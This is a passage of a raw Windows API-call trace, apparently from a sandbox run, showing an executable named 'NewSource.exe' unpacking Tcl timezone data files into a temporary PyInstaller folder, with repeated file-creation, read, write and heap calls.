lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.074] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.074] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.074] CloseHandle (hObject=0x10c) returned 1 [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.075] GetLastError () returned 0x2 [0043.075] SetLastError (dwErrCode=0x2) [0043.075] GetLastError () returned 0x2 [0043.075] SetLastError (dwErrCode=0x2) [0043.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific", lpFilePart=0x0) returned 0x3f [0043.075] GetLastError () returned 0x2 [0043.075] SetLastError (dwErrCode=0x2) [0043.075] GetLastError () returned 0x2 [0043.075] SetLastError (dwErrCode=0x2) [0043.075] GetLastError () returned 0x2 [0043.075] SetLastError (dwErrCode=0x2) [0043.075] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), lpSecurityAttributes=0x0) returned 1 [0043.077] GetLastError () returned 0x2 [0043.077] SetLastError (dwErrCode=0x2) [0043.077] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Apia") returned 69 [0043.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Apia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\apia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.077] GetLastError () returned 0x2 [0043.077] SetLastError (dwErrCode=0x2) [0043.077] GetLastError () returned 0x2 [0043.077] SetLastError (dwErrCode=0x2) [0043.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Apia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Apia", lpFilePart=0x0) returned 0x44 [0043.077] GetLastError () returned 0x2 [0043.077] SetLastError (dwErrCode=0x2) [0043.077] GetLastError () returned 0x2 [0043.077] SetLastError (dwErrCode=0x2) [0043.077] GetLastError () returned 0x2 [0043.077] SetLastError (dwErrCode=0x2) [0043.077] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Apia") returned 69 [0043.077] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Apia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\apia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.078] GetFileType (hFile=0x10c) returned 0x1 [0043.078] htonl (hostlong=0x91150000) returned 0x1591 [0043.078] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0043.079] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.079] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x591, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x591, lpOverlapped=0x0) returned 1 [0043.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.079] CloseHandle (hObject=0x10c) returned 1 [0043.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.080] htonl (hostlong=0x30000000) returned 0x30 [0043.080] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.080] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.080] GetFileType (hFile=0x10c) returned 0x1 [0043.080] htonl (hostlong=0xd0f95c00) returned 0x5cf9d0 [0043.080] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61a9d0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.080] htonl (hostlong=0x71060000) returned 0x671 [0043.080] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x671) returned 0x55e278 [0043.080] htonl (hostlong=0x71060000) returned 0x671 [0043.080] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.080] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.080] htonl (hostlong=0x27210000) returned 0x2127 [0043.080] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2127) returned 0x561090 [0043.080] htonl (hostlong=0x71060000) returned 0x671 [0043.080] htonl (hostlong=0x27210000) returned 0x2127 [0043.080] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5631c0 [0043.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5631c0 | out: hHeap=0x530000) returned 1 [0043.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0043.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.080] CloseHandle (hObject=0x10c) returned 1 [0043.080] GetLastError () returned 0x0 [0043.080] SetLastError (dwErrCode=0x0) [0043.081] GetLastError () returned 0x0 [0043.081] SetLastError (dwErrCode=0x0) [0043.081] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.081] GetFileType (hFile=0x10c) returned 0x1 [0043.081] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.081] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.081] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.081] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.081] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.081] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.081] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.081] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.081] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.081] CloseHandle (hObject=0x10c) returned 1 [0043.081] GetLastError () returned 0x0 [0043.081] SetLastError (dwErrCode=0x0) [0043.081] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.081] GetFileType (hFile=0x10c) returned 0x1 [0043.081] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.081] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.081] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.081] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.081] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.082] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.082] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.082] CloseHandle (hObject=0x10c) returned 1 [0043.082] GetLastError () returned 0x0 [0043.082] SetLastError (dwErrCode=0x0) [0043.082] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.082] GetFileType (hFile=0x10c) returned 0x1 [0043.082] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.082] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.082] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.082] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.082] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.082] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.082] CloseHandle (hObject=0x10c) returned 1 [0043.082] GetLastError () returned 0x0 [0043.082] SetLastError (dwErrCode=0x0) [0043.082] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Auckland") returned 73 [0043.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Auckland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\auckland"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.083] GetLastError () returned 0x2 [0043.083] SetLastError (dwErrCode=0x2) [0043.083] GetLastError () returned 0x2 [0043.083] SetLastError (dwErrCode=0x2) [0043.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Auckland", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Auckland", lpFilePart=0x0) returned 0x48 [0043.083] GetLastError () returned 0x2 [0043.083] SetLastError (dwErrCode=0x2) [0043.083] GetLastError () returned 0x2 [0043.083] SetLastError (dwErrCode=0x2) [0043.083] GetLastError () returned 0x2 [0043.083] SetLastError (dwErrCode=0x2) [0043.083] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Auckland") returned 73 [0043.083] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Auckland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\auckland"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.083] GetFileType (hFile=0x10c) returned 0x1 [0043.083] htonl (hostlong=0x27210000) returned 0x2127 [0043.083] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0043.084] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.084] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x127, lpOverlapped=0x0) returned 1 [0043.085] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.085] CloseHandle (hObject=0x10c) returned 1 [0043.085] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.085] htonl (hostlong=0x30000000) returned 0x30 [0043.085] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.085] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.085] GetFileType (hFile=0x10c) returned 0x1 [0043.085] htonl (hostlong=0x41005d00) returned 0x5d0041 [0043.085] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61b041, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.085] htonl (hostlong=0xd4050000) returned 0x5d4 [0043.085] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5d4) returned 0x550600 [0043.085] htonl (hostlong=0xd4050000) returned 0x5d4 [0043.085] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.085] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.085] htonl (hostlong=0xc31e0000) returned 0x1ec3 [0043.085] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ec3) returned 0x561090 [0043.085] htonl (hostlong=0xd4050000) returned 0x5d4 [0043.085] htonl (hostlong=0xc31e0000) returned 0x1ec3 [0043.085] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f60 [0043.086] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f60 | out: hHeap=0x530000) returned 1 [0043.086] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.086] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.086] CloseHandle (hObject=0x10c) returned 1 [0043.086] GetLastError () returned 0x0 [0043.086] SetLastError (dwErrCode=0x0) [0043.086] GetLastError () returned 0x0 [0043.086] SetLastError (dwErrCode=0x0) [0043.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.086] GetFileType (hFile=0x10c) returned 0x1 [0043.086] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.086] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.086] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.086] CloseHandle (hObject=0x10c) returned 1 [0043.086] GetLastError () returned 0x0 [0043.086] SetLastError (dwErrCode=0x0) [0043.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.087] GetFileType (hFile=0x10c) returned 0x1 [0043.087] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.087] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.087] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.087] CloseHandle (hObject=0x10c) returned 1 [0043.087] GetLastError () returned 